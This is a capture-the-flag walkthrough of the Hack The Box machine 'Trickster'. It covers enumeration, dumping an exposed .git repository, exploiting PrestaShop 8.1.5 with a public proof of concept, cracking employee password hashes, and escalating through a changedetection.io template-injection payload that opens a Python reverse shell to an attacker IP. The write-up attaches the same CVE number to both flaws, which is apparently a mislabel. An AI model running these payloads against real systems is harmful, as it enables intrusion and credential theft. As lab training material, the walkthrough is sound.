Enumeration

As usual, start off with an nmap scan to get a listing of open ports and running services on the target host.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 8c:01:0e:7b:b4:da:b7:2f:bb:2f:d3:a3:8c:a6:6d:87 (ECDSA)
|_  256 90:c6:f3:d8:3f:96:99:94:69:fe:d3:72:cb:fe:6c:c5 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://trickster.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: _; OS: Linux; CPE: cpe:/o:linux:linux_kernel

The host is running a typical web server setup on Linux; port 22 for remote administration via SSH and port 80 for an Apache web server. The banner grabbing suggest that trickster.htb should be added to our /etc/hosts.

Additionally, start to kick of directory busting using:

feroxbuster -u http://trickster.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

And vhost enumeration using:

ffuf -w /opt/SecLists/Discovery/DNS/dns-Jhaddix.txt:FUZZ -u http://trickster.htb/ -H 'Host: FUZZ.trickster.htb' -t 40 -fw 20

Looking around at the main page at http://trickster.htb doesn’t reveal much initially but there is a link to shop.trickster.htb so this must be added to the /etc/hosts file as well.

The shop.trickster.htb is a typical web store front with a bunch of products on sale. The website seems incomplete due to some lorum ipsum text in parts of the page. Scrolling to the bottom reveals it is powered by some technology called PrestaShop, https://www.prestashop-project.org/, which is an open-source solution for building e-commerce web applications.

feroxbuster reveals that there is a .git directory at the root of shop.trickster.htb. We can use a tool like git-dumper (https://github.com/arthaud/git-dumper) to download everything from this Git repository.

python3 git_dumper.py http://shop.trickster.htb/.git/ trickster_git -t 360

I used a timeout of 360 seconds because it kept failing with anything smaller. My guess is that the box does not handle load very well. I stored the results in the trickster_git folder.

One thing we can glean from this is that the version of the PrestaShop application is 8.1.5 which means it is potentially vulnerable to https://ayoubmokhtar.com/post/png_driven_chain_xss_to_remote_code_execution_prestashop_8.1.5_cve-2024-34716/

Exploiting CVE-2024-34716

We can follow along entirely with the example exploit PoC, firstly starting with:

git clone [email protected]:aelmokhtar/CVE-2024-34716_PoC.git

There are many modifications needed to make this exploit work.

  1. Update the reverse_shell.php file with your IP and intended reverse shell port, then update the zip theme with this file using:
zip ps_next_8_theme_malicious.zip reverse_shell.php   
  1. Edit exploit.py and take note of the intended web port for serving the zip file (or change it to a known one).
  2. (Optional) change ncat to nc
  3. Edit exploit.html and make sure it contains your IP, port and the correct admin path taken from inside the .git repository (hint: it’s the obvious weird looking directory).

Then we can run the exploit like so:

python3 exploit.py http://shop.trickster.htb '[email protected]' 'Help' ./exploit.html

And voila, we have a shell running as the www-data user. Since this application must run a database, the first thing we should do is check for DB credentials and get access to the stored data. Looking at the documentation for PrestaShop reveals that it will have a parameters.php file with the info we want. We can simply cat this find this file and cat it’s contents to know the password for the DB for the ps_user account.

In the database, we can simply run:

use prestashop;
select email, passwd from ps_employees;

To get the root account and the james account hash. We can also see in the machine that james is a local user so it’s probably the same dude. Cracking the password is trivial with hashcat:

hashcat -O -m 3200 hash /usr/share/wordlists/rockyou.txt

With the cracked password for the james account, we can then SSH into the machine and collect the first flag.

Privilege Escalation

Running ip a shows that there is a docker0 interface with the IPv4 address of 172.17.0.1.

3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:f5:a7:06:a3 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever

Typically, docker adds new addresses sequentially, so if there is a container running, it’s likely on 172.17.0.2. We can use a ping to determine if there is a host there:

ping -c 1 172.17.0.2

We get the result of:

PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.136 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.136/0.136/0.136/0.000 ms

There is a host running there, but we don’t know what this is. We aren’t in the docker group so we can work out easily what is being run. To interact with it, we can do a port scan as well:

for port in {1..10000}; do
 (echo > /dev/tcp/172.17.0.2/$port) >/dev/null 2>&1 && echo "$port Open" &
done

We get told 5000 Open so let’s do a local port forward to expose the port back to our attack host:

ssh -L 5000:172.17.0.2:5000 james@$target

Going to http://localhost:5000 reveals a changedetection.io site with a prompt for a password. We only know james so we can try that. It happens to work!

This application has a known vulnerability, CVE-2024-34716 which is an SSTI in the notification part of the watch functionality. We can stand up a web server using python:

python3 -m http.server 9091

We can then use our web server as the target URL of the new watch. When we edit the watch, we can edit the notification settings to set the notification URL to be gets:// and then change the notification body to be:

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.82\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

Triggering the watch, and touching a file in the web server directory will trigger the exploit. We can catch the shell the usual way with nc.

We get a shell as root inside the container. We can see the bash_history file is not symlinked to /dev/null so the container does have history of commands being run on the container. It looks like someone made a mistake when entering their password and entered it directly into the command line…

We can take this password and try to su root on the main host and we are successful! The root account’s password has been reused inside the container, and accidentally found it’s way into the .bash_history file.